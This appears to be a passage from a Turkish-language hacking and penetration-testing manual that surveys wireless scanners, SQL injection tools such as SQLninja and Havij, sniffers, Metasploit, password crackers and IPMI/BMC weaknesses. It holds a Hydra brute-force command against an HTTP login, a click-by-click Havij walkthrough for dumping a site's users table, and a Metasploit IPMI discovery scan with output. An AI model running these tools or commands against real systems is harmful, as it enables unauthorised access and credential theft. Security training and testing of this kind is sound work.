WLAN ağınızdaki zayıf noktaların bulunmasını sağlarsınız.<br />
Sizin ağınıza giriş yapan, sizin ağınızla çakışan diğer ağları<br />
saptarsınız.<br />
Yardım amaçlı yönlendirilmiş antenlerle uzak WLAN<br />
bağlantılarına erişirsiniz.<br />
Savaş sürdürmek için yeniden yaratıcı amaçla kullanın.<br />
Gereksinim<br />
NetStumber gereksinimleri daha çok donanıma bağımlıdır. İşletim<br />
sistemi, firmware ve sürücü sürümleri de buna eklenmelidir. En iyisi<br />
“Sisteminizde çalışıyor mu?” sorusunu deneyerek görmektir.<br />
Bazı sistemler denenmiş olduklarından çalışır diye bilinmektedir.<br />
Ayrıntılı bir liste http://www.stumbler.net/compat adresinde vardır.<br />
Bu NetStumbler Windows 2000, Windows XP ya da daha yenisini ister.<br />
Proxim model 8410-WD ve 8420-WD çalışır. 8410-WD aslında Dell<br />
TrueMobile 1150, Compaq WL110, Avaya Wireless 802.11b PC kartları<br />
olarak da satılmıştır.<br />
Intersil Prism/Prism2 chip takımı kullanan bir çok kart da çalışır.
Birçok 802.11b, 802.11a vee 802.11g kablosuz LAN adaptörleri<br />
Windows XP ile çalışmalıdır. Bazıları windows 2000'de de çalışabilir. Bir<br />
çoğu doğru olmayan sinyal gücü raporlar ve eğer kart erişim yöntemi<br />
olrak NDIS 5.1 kullanıyorlarsa , o zaman gürültü düzeyi raporlanmaz.<br />
Bunlar Atheros, Atmel, Broadcom, Cisco ve Centrino türü kartları içerir.<br />
Bir kartta hangi chip takımı olduğu saptanamaz (program tarafından).<br />
Ayrıntılar için http://www.stumbler.net/readme/readme_0_4_0.html adresine<br />
bakınız.
BÖLÜM 3<br />
SQL EKLEMEK İÇİN KULLANILAN PROGRAMLAR<br />
Veri tabanı “hack” işlemi veri tabanı üreticisinin ürününe göre değişir.<br />
http://www.databasesecurity.com/ adresinde çeşitli veri tabanları için bir çok<br />
yöntemin ve yazılımın olduğunu görürsünüz. Veri tabanı kullanımı güvenlik<br />
açısından çok da iyi bir yöntem değilmiş gibi görünmektedir.<br />
SQLNINJA<br />
Bu programın özellikleri şöyle sıralanabilir:<br />
Karşıdaki SQL sunucunun (sürümü, işlem yapan kullanıcı, kullanıcı yetkileri,<br />
xp komut satırı “xp_cmdshell” varlığı, veri tabanı yetki konumu) gibi<br />
bilgilerini almak,<br />
SA (Sistem Yöneticisi) şifresini bulmaya çalışmak (bir sözlükten yararlanarak<br />
aramak)<br />
xp komut satırını oluşturmak (xp_cmdshell eğer daha önce silinmişse)<br />
Normal HTTP isteği kullanarak (FTP/TFTP gerekmeden) sunucuya “netcat”<br />
yüklemek<br />
TCP/UDP kapı tarayıp (hedef SQL sunucudan saldıran <strong>bilgisayar</strong>a kadar)<br />
kullanılabilecek bir port (kapı) var mı aramak,<br />
Doğrudan ya da ters bağlantı var mı aramak (TCP ve UDP için)<br />
ICMP tünel kabuğu var mı bakmak. TCP ve UDP olmadan doğrudan ya da<br />
ters kabuk VT sunucusuyla dış adres çözümü yapabilir.<br />
DNS tünelli yalancı kabuk var mı bakmak. Doğrudan ya da ters kabuk için<br />
TCP/UDP port'ları (kapıları) vardır ama VT kullanıcı <strong>bilgisayar</strong>ını “ping”<br />
edilebilir.<br />
DNS tünelli yalancı kabuk var mı bakmak. Doğrudan ya da ters kabuk için<br />
hiç TCP/UDP portu (kapısı) yokken dış adresleri çözümlemektedir (bunun<br />
nasıl olduğunu görmek için dokümantasyona bakın).<br />
IDS/IPS/WAP vb. kaçırmak için kullanılabilecek bir teknik bulmak
Metasploit3 ile ilişki kurup uzaktaki VT erişiminde grafik arayüz ile VNC<br />
üzerinden sunucuya girebilmek.<br />
SQLninja programının kullanımı için Ek-2'ye bakınız.<br />
SQL POİZON<br />
Sql Poizon araçları php, aspi rfi, lfi hedeflerini içerir ve bunları kullanarak kırılabilir<br />
siteleri bulur. Aynı zamanda ülkeye göre kırılabilir siteleri de arayabilirsiniz. Sql<br />
Poizon araçlarıyla siteler incelenebilir. Ayrıntılı bilgi için<br />
http://www.hackforsecurity.net/2012/03/sql-poizon-sqli-exploit-scannertool.html#sthash.5Zl90rb6.dpuf<br />
sitesine bakabilirsiniz<br />
Programın Kullanımına Bir Örnek<br />
1. Programı çalıştırın:
2. Bu pencere açılınca, bir hedef seçilir. Bu örnekte “php drop” kullanılmıştır.<br />
İstenilen hedef seçildikten sonra “Scan” tuşuna basılır. Sonuçlar “Result”<br />
panosunda görüntülenir.<br />
3. Şimdi sonuçları “Sql Crawler”a göndermek istersiniz. Bunu yapmak için sonuç<br />
panosundakini farenin sağ tuşuna basıp “Send to Sql Crawler->All” seçimini<br />
yaparak gerçekleştirirsiniz.
4. O zaman “Sql Crawler” penceresi açılır ve burada yapacağınız tek şey “Crawl”<br />
tuşuna basmaktır. Program Web sitesinin gerçekten SQL eklemesine uygun olup<br />
olmadığı kontrol eder.<br />
5. Bundan sonra yapılacak şey “Export Results” seçeneğine basmak daha sonra<br />
açabileceğiniz bir yere bilgileri yedeklemektir.
HAVIJ 1.15 PRO SQL EKLEME<br />
Bu programın yeni sürümü Havij 1.17 Pro da çıkmış, google'dan aranıp kodları<br />
indirilebiliyor.<br />
Aşağıdaki doküman http://itsecteam.com/node/101/ sitesinden alınmıştır.<br />
Açıklama<br />
Yenilikler<br />
Havij otomatik SQL ekleme aracıdır. Amacı siteye sızma testleri yapanlara<br />
sitedeki SQL ekleme ve kırılma koşullarını göstermektir. Program kırılabilen<br />
bir web uygulamasından kendine faydalar sağlar. Bu yazılımla kullanıcı, arka<br />
planda veri tabanı parmak izi işlemlerini, Veri tabanı yönetim sistemi<br />
kullanıcı adlarını ve karıştırılmış şifrelerini, tabloları ve kolonlarını<br />
görüntülemeyi, veri tabanından bir veriyi aramayı, sunucu karşı Sql<br />
komutlarını çalıştırmayı, ve hatta dosya sistemine erişip, işletim sistemi<br />
kabuk programlarını çalıştırmayı bile yapabilir.<br />
Başka araçlarla karşılaştırıldığında Havij'in üstün gücü, ekleme konusundaki<br />
eşi bulunmaz yöntemleridir. Havij'in başarı oranı neredeyse %95 gibidir.<br />
Havij'in kullanıcı arayüzü ve otomatik ayar sistemi ve araştırıcı detektörleri<br />
amatörlerin bile kolaylıkla kullanılmasına olanak sağlar.<br />
- Her şey “dump” edilir (dökülür).<br />
- MySQL için parantezler kullanan yeni “bypass” yöntemi vardır<br />
- Dosyaya yazma olanağı (MSSQL ve MySQL için)<br />
- Girişlerden HTML yükleme<br />
- Veriyi CSV kalıbında saklamak<br />
- Gelişmiş atlatma ayarları<br />
- Log kayıtlarını açma/kapama<br />
- Olmayan ekleme değeri şimdi kullanıcı ile değiştirilebilir (varsayılan değer<br />
999999.9 olur)<br />
- Açıklama işareti ' kullanıcı tarafından değiştirilebilir.<br />
Özellikler (Bu özelliklerin bir kısmı yalnız paralı ticari sürümde bulunur).<br />
1. Ekleme Yöntemiyle desteklenen Veri Tabanları:<br />
MSSQL 2000/2005 hatalarıyla<br />
MSSQL 2000/2005 hatasız birleşme tabanlı<br />
MSSQL Blind (kör)<br />
MySQL Zaman tabanlı<br />
MySQL Birleşim tabanlı<br />
MySQL Blind (kör)<br />
MySQL hata tabanlı<br />
Oracle Birleşim Tabanlı
Oracle Hata tabanlı<br />
PostgreSQL Birleşim tabanlı<br />
MsAccess Birleşim tabanlı<br />
MsAccess Blind<br />
Sybase (ASE)<br />
Sybase (ASE) Blind<br />
2. HTTPS Desteği.<br />
3. Çoklu işlem (thread)<br />
4. Proxy Desteği<br />
5. Otomatik Veri Tabanı Sunucu Desteği<br />
6. Otomatik tip belirleme (tamsayı ya da dizi)<br />
7. Otomatik anahtar kelime belirleme (geçerli ve geçersiz yanıtlar arasındaki<br />
farkı bulma)<br />
8. Tüm parametrelerin otomatik aranması.<br />
9. Dil kuralları arasındaki farkları belirleme<br />
10. /**/,+,... gibi işartelerin IDS ya da filitrelerde takılmaması için seçenekler<br />
kullanılması<br />
11. Dizileri kullanırken atlanacaklar (sihirli tırnakları atlamak ve benzeri<br />
elemeleri atlamak)<br />
12. Ekle ekleme kurallarını desteklemek<br />
13 Sonuçlarıyla elle sorgu yapmak.<br />
14.Geçersiz birleşenleri atlamak<br />
15. Rastgele imza üretmek<br />
16. Tümüyle değiştirilebilen HTTP başlıkları (referer, user agent gibi)<br />
17. Cookies (çerezler) yüklemek<br />
18. Girişlerde HTML yüklemek<br />
19. HTTP Temel ve Sindirilmiş şifre kontrolü<br />
20. URL yeniden yazma sayfalarının eklenmesi<br />
21. ModSecurity atlatma web uygulaması kalkanı ve benzeri güvenlik<br />
kalkanları.<br />
22.WebKnight web uygulamasını kalkanını atlama ve benzeri güvenlik<br />
kalkanlarını geçme<br />
23. Anlık sonuçlar.<br />
24. MySQL (
36. Çoklu işlemle etkileşimli MD5 kırma<br />
37. Veri Tabanı Yönetim Sistemi bilgisini alma.<br />
38. Tabloları, kolonları ve verileri alma.<br />
39. MSSQL için komut çalıştırma<br />
40. MySQL için uzaktaki sistemin dosyalarını okuma<br />
41. (MySQL ve MSSQL için) Uzaktaki bir dosyayı yaratma içine yazma<br />
42. Veri ekleme/Güncelleme/Silme<br />
43.UTF ya da Unicode desteği<br />
ÖRNEK HAVIJ KULLANIMI<br />
1. Havij V1.15 Pro programını çalıştırın. Sonra istenen URL adresini girin. Program<br />
veri tabanını bulmaya çalışır. Veri tabanı bulunduktan sonra “Tables” seçeneğine<br />
basın ve tabloları görüntüleyin.
2. Programın bulduğu veri tabanını seçin (fareyle tıklayın). Tabloların listesi<br />
görüntüye gelir. Eğer bilgi şeması yoksa program tabloları kendisi tahmin etmeye<br />
çalışır. Programın çalışıp bitmesi sabırla beklenmelidir.
3. Bundan bittikten sonra istenilen tabloyu seç ve tıkla. Hacker çoğu kez “users”<br />
tablosuna bakar. Çünkü kullanıcılar ve onların yetkileriyle daha çok ilgilenir. Tablo<br />
seçildikten sonra “Get Columns” seçeneğine basılır.
4. Seçtiğimiz tablonun içeriğini görmek için tabloyu seçip “Get Data” düğmesine<br />
bastığımızda programın verilere erişmesini sabırla bekleyin.
BÖLÜM4<br />
SNIFFER (KOKLAYANLAR)<br />
Bu tür programlar ağdan geçen tüm mesajları incelerler. Program geliştirenler ağ<br />
katmanında mesajların doğru gidip gitmediğini görebilmek için bu yöntemi çok<br />
kullanırlar. Ama kötü niyetle kullanılınca, “Sniffer” türü programlar kullanıcının<br />
şifresini çözmek için çok kullanışlıdır.<br />
Neden herkes tüm mesajları görebilir diye soracak olursanız TCP/IP protokolu<br />
altında tüm mesajlar donanım katmanına kadar gelir (ethernet ya da Wifi olması<br />
fark etmez). Yazılım <strong>bilgisayar</strong>ın IP numarasına uyanları üst katmanlara taşınırken,<br />
diğerleri alt katmanlarda dikkate alınmaz, hatta daha önce 15 düğümden<br />
geçmişse kaybolmaması gerekenler yeniden ağa gönderilir (MBONE gibi). Sniffer<br />
programlar o mesajları da bu nedenle (IP'si uymasa da) diğer paketleri<br />
izleyebilirler.<br />
KISMET<br />
http://www.kismetwireless.net<br />
Wifi 802.11 ağ tarayıcısı, koklayıcısı ve içine sızan bir izleme sistemidir. Kismet<br />
ham veri iletişime olanak tanıyan tüm Wifi donanımıyla çalışır. Kismet 802.11b,<br />
802.11a, 802.11g ve 802.11n trafiğini koklayabilir ve izler.<br />
Kismet eklenebilir yazılım desteğiyle 802.11 dışındaki Wifi donanımlarını da<br />
izleyebilmektedir.<br />
Kismet pasif olarak paketleri toplar ve tanınmasına izin veren ağları tanır (verilen<br />
zaman içinde adlarını da belirler) Gizlenmiş ya da saklanmış ağları bile üzerindeki<br />
trafikten bulabilir.<br />
Kismet açık kaynak kod bir yazılım olduğundan doğrudan kaynaktan derlenerek<br />
kullanılabilir. Ama birçok Linux dağıtımında ikili kod zaten vardır. Onu yüklemek<br />
daha kolaydır. Kismet'i kaynak kod üzerinden derleyince, kurulumunda suid-root<br />
kullanmak, çalıştırırken root yetkisiyle başlatmak gerekmektedir. Bu nedenle<br />
sorunları çözülmüş hazır ikili kopya ile başlamakta yarar vardır.<br />
Unutulmasın ki KISMET windows ortamında Cace Aircap, pcap saklanmış<br />
dosyalarıyla çalışır ya da uzaktaki kismet drones çalışıyorsa ondan destek alır.<br />
Linux ortamında da pcap ve libnl desteğine gerek vardır.<br />
Kismet'in paketleri izleyip saklayabilmesi için “root” yetkisi gereklidir.<br />
“suid-root” kullanımı sınırlı KISMET olanakları demektir. Eğer Kiismet “root” olarak<br />
başlatılırsa çalıştığı sürece “root” olarak kalır.
Kaynağı yakalama<br />
Pek çok konumda sürücüyü otomatik tanımak ve kaynağı yakalamak için<br />
desteklenen kanalları bulmak, genelde bir ok kullanıcı için yeterli olabilir. Ama<br />
kaynağı yakalamak için daha pek çok seçenek vardır.<br />
Kismet paketleri 802.11 katmanında yakalar. Bunu yapabilmesi için ağ konumunu<br />
değiştirmesi gerekebilir ki normal ağ kullanımı bu anda kapanmış olur.<br />
Yakalanacak kaynaklar kismet kullanıcı arayüzü ile eklenebilir. Bunlar kismet.conf<br />
dosyasında da gösterilmiştir.<br />
Kismet ile ilgili diğer parametre ve seçenekler için Ek-3'e bakınız.<br />
WIRESHARK<br />
Wireshark GTK+ tabanlı ağ analiz programıdır (ya da sniffer) size ağ paketlerini<br />
yakalama ve etkileşimli olarak ağ altyapılarını tarama olanağı sağlar. Bu<br />
protokolün hedefi, profesyonel nitelikte analiz programı sunmaktır. Wireshark<br />
özellikleri kapalı kodu olan sniffer'lere karşın daha iyi sonuç üretmektir. Ürün hem<br />
Linux hem de Windows altıda iyi bir kullanıcı arayüzüyle çalışır. Kullanma ve<br />
yeniden TCP/IP paketleri üretme açısından elverişli bir üründür.<br />
Bu konudaki ayrıntılı kullanıcı dokümantasyonu için<br />
http://www.wireshark.org/download/docs/user-guide-a4.pdf<br />
adresine bakınız. Türkçe açıklama için Ek-6'ya bakınız.<br />
METASPLOIT<br />
Open Source Community ve Rapid7 iş birliğinden sızma denemesi yazılımı<br />
Metasploit çıkmıştır. Bu program kırılmaları bulur, güvenlik yönetimine yardımcı<br />
olur.<br />
Ayrıntılı bilgi için http://www.metasploit.com/ sayfasına bakınız.<br />
DİĞER HACKER ARAÇLARI<br />
Şifre Kırıcılar<br />
ICRACK<br />
Şifre kırma sözlüğü. Artan baskı uygular.<br />
Maceracı<br />
bobokit<br />
woot-project
Diğer Bağlantılar<br />
InfoSysSec.org: Nasıl hack edilir.<br />
http://www.infosyssec.org/infosyssec/security/hackhow1.htm<br />
Ağ işgali ve hacking<br />
http://www.networkintrusion.co.uk/hacking.htm<br />
hping<br />
http://www.hping.org/<br />
komut satırından TCP/IP paket inceleyicisi. TCP,UDP,ICMP ve RAW-IP<br />
(ham IP) protokollerini destekler. “traceroute” konumu da vardır. Kapalı<br />
bir kanaldan dosya gönderme olanağı da vardır.<br />
Hping2<br />
http://sourceforge.net/projects/hping2<br />
Birçok işi yapabilir (Güvenlik kalkanı kurallarını listelemek gibi), açık<br />
kapı aramak gibi
BÖLÜM 5<br />
KIRMA ARAÇLARI<br />
pdfcrack<br />
Daha önce pdf dosyalarından şifrenin nasıl kaldırılacağı yazılmıştı<br />
(http://www.cyberciti.biz/faq/removing-password-from-pdf-on-linux/).<br />
Linux ortamında komut satırından nasıl şifre kaldırılacağı bu sayfada anlatılır.<br />
Birçok açıdan (şifre unutma, şifrenin etkinliği vb) kullanılışlı bir işlemdir.<br />
Bu programı kullanmak suç mudur? Nerede yaşadığınıza baplıdır. Ama kendi<br />
pdf dosyalarınızda şifre düzeltmesi için kullanmanın yasal bir sakıncası<br />
yoktur.<br />
Komut satırı seçenekleriyle pdf dosyası şifresini kaldırma<br />
Kendi şifre korumalı dosyalarınızın şifresini unuttuysanız aşağıdakilerden<br />
birini kullanarak şifrenizi silebilirsiniz.<br />
1 – pdftk: PDF dosyalarıyla işlem yapmak için kullanışlı bir programdır.<br />
2 – qpdf: Bir pdf dosyasını eşdeğer başka bir pdf dosyasına çeviren<br />
programdır.<br />
3 – xpdf-utils: Portable Document Format (PDF) için kullanışlı hazır<br />
programlardan oluşur (pdftops ve ps2pdf gibi)<br />
4 – Print to a file: Evince yazılımını doğrudan kullanabilirsiniz.<br />
Hydra<br />
HTTP şifresini kırma<br />
Video izleme bağlantısı: http://g0tmi1k.blip.tv/file/2318952<br />
Video indirme bağlantısı: http://www.mediafire.com/?yhc1adzytiqibjc<br />
Uzaktan basit şifreleri çözmek için sözlük kullanır. Gerekenler hydra ve<br />
sözlüktür.<br />
Komut satırı:<br />
hydra -l admin -P /pentest/passwords/wordlists/g0tmi1k.lst -e ns -t<br />
15 -f -s -vV 192.168.1.1 http-get /<br />
-l = kullanıcı adı<br />
-P = şifre (sözcük listesine bakar)<br />
-e ns = boş şifreye bakar<br />
-t xx = ynı anda kaç iş çalıştırılacaktır<br />
-f = ilk kullanıcı/şifre bulunduğunda çık<br />
-s = SSL kullanarak bağlan
-vV = tum açıklamaları göster<br />
193.168.1.1 = IP adresi<br />
http-get = hangi kırma yöntemi gibi bilgiler<br />
/ = kırılacak sayfa (root)
BÖLÜM6<br />
ÖNEMLİ BİR GÜVENLİK SORUNU IPMI/BMC<br />
IPMI<br />
IPMI ile ilgili yazılımları neden buraya aldığım herkesin dikkatini çekebilir ve<br />
neden sorusunu sormalarını sağlayabilir. Eğer aşağıdaki araçların nasıl ve ne<br />
amaçla kullanıldığını görürseniz, IPMI yazılımlarının önemli bir güvenlik sorunu<br />
oluşturduğunu hemen anlarsınız. Yetkisiz bir kişi IPMI komutları ve araçlarıyla<br />
sisteminizin çalışma biçimini değiştirebilir hatta işlemez hale bile getirebilir.<br />
KAPANMIŞ SUNUCULARI BİLE HACK EDEBİLİRSİNİZ<br />
URL adresi: https://isc.sans.edu/diary/IPMI<br />
%3A+Hacking+servers+that+are+turned+%22off%22/13399<br />
Yayınlandığı Tarih: 2012-06-07<br />
Yayınlayan: Johannes Ullrich<br />
Sunucu tarlasını yönetirken sorgulardan biri asılı kalmış ya da kilitlenmiş<br />
sunucuları nasıl ele alacağınızdır. Çünkü bu sunucuların işletim sistemleri artık<br />
yanıt veremez durumdadır. Klasik çözüm kuşkusuz seri konsol karışımı belki de IP<br />
üzerinden KVM olabilir. Ayrıca uzaktan denetlenebilen güç kaynağı anahtarlarıdır.<br />
Bu tür donanımlar çok da pahalı değildir. Değerli “rack” alanı işgal eder ve elektrik<br />
gücü ister ve bir çok (hem de çok) kablo gerekir.<br />
Olayları kolaylaştırmak için, Intel “IPMI” ile ortaya çıktı (Intellegent Platform<br />
Management Interface). Sunucularda bulunur. Bazı masaüstü <strong>bilgisayar</strong>larda<br />
değişik sürümleri vardır. IPMI yeni değildir. Burada anlatılacak saldırı da yeni<br />
değildir. Burada açıklama yapılmasının nedeni birçok sistem yöneticisinin IPMI<br />
konusunda bilgi sahibi olmadığıdır.<br />
Yıllar içinde gelişen ve işlevleri artan IPMI sürümlerinde yenilikler anakart<br />
üreticisine ve kullanılan firmware ile doğrudan orantılıdır. Ama bazı özellikler<br />
hemen her uyarlamada vardır örneğin:<br />
IPMI sunucu elektriğe takılınca etkindir. Sunucunun açılmasını beklemez.<br />
Ana kart üzerinde özel bir devre olarak uyarlanmıştır. Bazen takılabilir kart<br />
olarak da görürsünüz. CPU, RAM ve diğer parçalara gerek duymaz.<br />
Var olan ağ kartını kullanır ve ayrıca bir ağ kartına gerek yoktur.<br />
Eğer işletim sisteminiz IPMI destekliyorsa sunucudaki özel yazılımları kullanarak<br />
ona bağlanabilirsiniz ve onu sunucudaki bazı sensörleri okumak için
kullanabilirsiniz. “openipmi” ya da “freeipmi” araçlarını kontrol edin yoksa birini<br />
kurun.<br />
Yerel olarak IPMI kullanışlıdır ama asıl gücü uzaktan kullanıldığında anlaşılır. IPMI<br />
1.0 sürümü seri kapı üzerinden kullanılırdı. Özellikle uzaktaki elektrik gücüne<br />
sistem gibi görünürdü. Bunu LAN üzerinden uyandırma hizmetine<br />
benzetebilirsiniz. Ama seri kapı üzerinden elektrik gücü kesme yeteneğinin de<br />
olması o kadar basit değildir. Bunun en büyük yararı uzaktan elektrik gücünü<br />
kontrol eden sistemlere gerek olmamasıdır. Sürüm 1.5'de IPMI mesajlarını IP<br />
üzerinden göndermek de olabiliyordu. Sürüm 2.0'da bıçak ağzı sunuculara, vLan<br />
ve modern ağlarda bulunan diğer ortak özelliklere rastlanır.<br />
Bugünün sunucularında IPMI uyarlaması olunca, bir web sunucunun uzaktan<br />
kontrol edilmesini, firmware yenileme gibi özellikleri kullanabilirsiniz. Seri arayüz<br />
gerekmeden de yapılabilir durumdadır. Seri bağlantının bant çıktı karakter sayısını<br />
güvenlik nedeniyle sayarız. Ama IPMI işlemlerini güvenli yapabilmenin bazı<br />
adımları vardır. Aşağıda örnekler sıralanmıştır:<br />
Yönetilen bir ağ ayarı yapın ve yönetim ağına bağlı kalan ağ kartı ile IPMI işlemini<br />
sınırlayın.<br />
BIOS ayar seçeneklerini IPMI için görüntüleyin. Eğer fiziksel yönetim ağınız<br />
yoksa VLAN kullanmaya çalışın.<br />
IPMI firmware bilgisini güncel tutun. Ana kart firmware ile beraber olabilir.<br />
IPMI erişiminin güvensiz protokollerden (HTTP gibi) yapılması engellenir. Ya<br />
SSH kullanın ya da HTTPS ve uygun sertifikalarla iletişim yapın.<br />
Varsayılan şifreleri sakın kullanmayın.<br />
IPMI şifrelemesini var olan sistem şifrelemesine bağlamaya çalışın. RADIUS<br />
ve AD seçenekleri kullanılabilir.<br />
IPMI uyarlamasının desteklediği fiziksel seçenekleri gözden geçirin. Bazı IP<br />
adreslerinden erişimi sınırlayabilirsiniz. Ya da kullanmayacağınız özellikleri<br />
kapatın.
Sunucu Yönetim Sistemindeki Hacker delikleri Neredeyse<br />
fiziksel erişime kucak açar<br />
(Hacker Holes in Server Management System Allow ‘Almost-<br />
Physical’ Access)<br />
Yazan: Kim Zetter 07.02.13 9:30 AM<br />
URL Adres: http://www.wired.com/threatlevel/2013/07/ipmi/<br />
Buraya yazının ana hatlarını aktardım. Ayrıntılı bilgi için web adresine<br />
başvurabilirsiniz.<br />
Sunucuları uzaktan denetlemek ve yönetmek için kullanılan protokollerin<br />
kırılganlığı, sistemlerin saldırılara uğramasına yetkisiz kişilerin kontrolüne<br />
geçmesine neden olur. Bu durumda olan İnternet'e bağlı 100,000 den fazla sunucu<br />
vardır.<br />
Kırılganlık daha çok IPMI protokolünde görülür. Bu protokol BMC tarafından<br />
kullanılır. Sunucuların uzaktan izlenmesinde ısılarının denetlenmesinde, çalışıp<br />
çalışmadıklarının belirlenmesinde ve diğer işlevlerde kullanılır.<br />
Güvenlik delikleri saldırganların şifreleri öğrenmelerine, arka kapı oluşturmalarına<br />
neden olabilir.<br />
Metasploit Framework sızma denemelerinde 100,000'den çok sunucuda güvenlik<br />
sorunu saptanmıştır.<br />
IPMI değişik üreticilerin ürün ve cihazlarının aynı protokol ile uzaktan kontrol<br />
edilmesi için hazırlanmıştır. Sunucuları uzaktan denetlemek için BMC sanal tuş<br />
takımı, fare ve çıkarılabilir ortam sağlar.<br />
IPMI gediklerini kullanan bir saldırgan, sunucuyu kendi denetimine alabilir.<br />
Kısacası BMC'deki herhangi bir zayıflık, saldırganın sunucuda fiziksel erişime<br />
ulaşmış gibi davranmasına neden olabilir. Devletler ve Modern Firmalar IPMI<br />
denetime dayanarak sunucularını çalıştırmak zorundadırlar.<br />
Bazı BMC'lerde Evrensel Tak Çalıştır (UPnP) varsayılan olarak açıktır. Bu konuda<br />
Moore http://www.wired.com/threatlevel/2013/01/plug-n-play-security-flaws/ web<br />
sayfasında oluşan hataları anlatmıştır.<br />
BMC IP adresi ile sunucununki farklı olduğundan saldırgan BMC'yi ele geçirse bile<br />
sistem yöneticisi olayı takip edemez.<br />
Bir çok insan sistemlerinde IPMI açık olduğunu bilmez. Moore'un Metasploit<br />
Framework içine eklediği IPMI modülüyle “IPMI var mı?” taranarak bulunabilir.
IPMI ve BMC'lere Sızma Denemeleri El Kitabı<br />
(A Penetration Tester's Guide to IPMI and BMC's)<br />
Yazan: Metasploit'den HD Moore 2 Tem, 2013 12:22:49 PM<br />
URL Adresi:<br />
https://community.rapid7.com/community/metasploit/blog/2013/07/02/apenetration-testers-guide-to-ipmi<br />
Burada yazılanları Türkçeye çevirmeye çalıştım. Her şeyin önemli olduğunu<br />
düşünüyorum.<br />
GİRİŞ<br />
Dan Farmer çığır açan güvenlik araçları ve işlemleriyle bilinir. Bir yılın<br />
üzerinde bir süredir Dan Farmer IPMI ve BMC güvenliği üzerine ciddi tanımlar<br />
yapmıştır. Bu yazı Dan Farmer'ın sözünü ettiği sorunlara nasıl ulaşılacağını<br />
gösterir. Eğer aradığınız hızlı bir çözümse,<br />
https://community.rapid7.com/docs/DOC-2344 adresinde sıkça sorulan<br />
sorulara bir bakın. Ayrıca Dan Farmer'ın ortaya koyduğu mükemmel belgeyi<br />
http://fish2.com/ipmi/bp.pdf adresinden okuyun.<br />
BMC ve IPMI Protokolü<br />
Baseboard Management Controller (BMC), masaüstü ve sunucularda bant<br />
dışı izlemeyi sağlaması için kullanılan bir <strong>bilgisayar</strong>dır. Bir çok marka altında<br />
satılırlar. HP iLO, Dell DRAC, Sun ILOM, Fujitsu iRMC, IBM IMM, and<br />
Supermicro da bunların arasındadır. IPMI ve BMC'ler çoğunlukla gömülü ARM<br />
sistemleri olarak uyarlanırlar. Üzerlerinde Linux yüklüdür. Sunucunun ana<br />
kartında doğrudan dışarıya bağlı çalışır. Ağ erişimini, ağ erişim kartına “yan<br />
bant” (sideband) ile bağlanarak sağlanabileceği gibi kendine özgü arayüzü<br />
ile de yapılabilir. Ana karta gömülü modellerin yanı sıra ayrıca PCI kartı<br />
takılabilir modül olarak da satılır. Neredeyse tüm sunucular ve iş istasyonları<br />
BMC kurulu olarak gönderilir. IPMI iletişim protokolünü yerel “bus” (iletişim<br />
yolu) üzerinden ya da ağ üzerinden tanımlayan bir dizi özellikler toplamıdır.<br />
Bu özellikler Intel tarafından belirlenmiştir ve şu anda iki sürüm olarak (1.5<br />
ve 2.0) piyasada vardır. Dan Farmer'ın ana hedefi UDP ve 623 kapısını<br />
kullanan IPMI ağ erişim protokolü üzerinedir. Bunun çizgisel görünümü<br />
aşağıda gösterilmiştir.
Yüksek Değerdeki Hedefler<br />
BMC'ler güvenlik denetçileri tarafından saygıyla karşılanır ve gözden kaçırılır.<br />
Bir çok benzer gömülü cihazlar gibi denemelere yavaş yanıt verirler. Bazı<br />
web tabanlı yönetimlere ek olarak standart dışı arayüzleri varır. BMC ve<br />
yazıcı arasındaki fark erişimi sağladıktan sonra anlaşılır. BMC'nin sunucu<br />
sisteminin ana kartına doğrudan erişimi vardır. Bu özellik izleme, yeniden<br />
başlatma (reboot) ve hatta yeniden işletim sistemi yükleme (reinstall)<br />
olanağını da beraberinde getirir. Bir çok sistemde etkileşimli KVM erişimi<br />
sanal ortam üzerinden sağlanabilmektedir. Aslında BMC'ye erişim sunucuya<br />
fiziksel olarak erişim demektir. Eğer saldırgan yalnız BMC'ye erişmeyip<br />
“root” yetkisini de elde etmişse Ana sistemin i2c'sine ve Super I/O (Super<br />
Giriş/Çıkış) yongasına (chip) doğrudan erişim hakkını ele geçirir. Bu da<br />
sunucu yönetimi için hoş bir haber değildir.<br />
Ağ Hizmetleri<br />
BMC'nin ana markaları tarafından sunulan servisleri üretici firmaya göre çok<br />
değişiklik gösterir. Burada bazı benzerlikler belirtilmiştir. BMC'lerin çoğunda<br />
bir çeşit Web tabanlı yönetim vardır. Telnet ya da Güvenli kabuk (SSH gibi)<br />
ve IPMI ağ protokolü (UDP ve bazen TCP ile 623 nolu kapıdan) diğer erişim<br />
biçimleridir. Aşağıdaki örnekler Supermicro BMC'nin varsayılan<br />
yapılandırması üzerindeki “Nmap -sSV -p1-65535” taramasının sonuçlarıdır.
Supermicro IPMI (firmware SMT_X9_218)<br />
PORT/KAPI DURUM SERVIS SÜRÜM<br />
22/tcp open ssh Dropbear sshd 2012.55 (protocol 2.0)<br />
80/tcp open http lighttpd<br />
443/tcp open ssl/http lighttpd<br />
623/tcp open ipmi-rmcp SuperMicro IPMI RMCP<br />
5900/tcp open vnc VNC (protocol 3.8)<br />
5985/tcp open wsman?<br />
49152/tcp open upnp Intel UPnP reference SDK 1.3.1<br />
(Linux 2.6.17.WB_WPCM450.1.3;<br />
UPnP 1.0)<br />
Yukarıda listelenen TCP kapılarına ek olarak bu cihaz da UDP 623 (IPMI) ve<br />
1900 (Upnp SSDP) kapıları da yanıt verir.<br />
Ağ Keşfi<br />
UDP IPMI servisine 623 kapısından tek paket sorgusu ağ üzerindeki BMC<br />
belirlemek için en hızlı yöntemdir. Aşağıdaki örnekte Metasploit Framework<br />
ipmi_version modülü yerel BMC'yi yakalamak için kullanılır. Yanıt desteğin<br />
1.5 mi yoksa 2.0 mı olduğunu belirtir.<br />
$ msfconsole<br />
=[ metasploit v4.7.0-dev [core:4.7 api:1.0]<br />
+ -- --=[ 1119 exploits - 638 auxiliary - 179 post<br />
+ -- --=[ 309 payloads - 30 encoders - 8 nops<br />
msf> use auxiliary/scanner/ipmi/ipmi_version<br />
msf auxiliary(ipmi_version) > set RHOSTS 10.0.0.0/24<br />
msf auxiliary(ipmi_version) > run<br />
[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)<br />
[*] 10.0.0.7:623 IPMI-2.0 OEMID:21317 UserAuth(auth_msg, auth_user,<br />
non_null_user, null_user) PassAuth(password, md5, md2) Level(1.5, 2.0)<br />
[*] 10.0.0.4:623 IPMI-2.0 OEMID:21317 UserAuth(auth_msg, auth_user,<br />
non_null_user, null_user) PassAuth(password, md5, md2) Level(1.5, 2.0)<br />
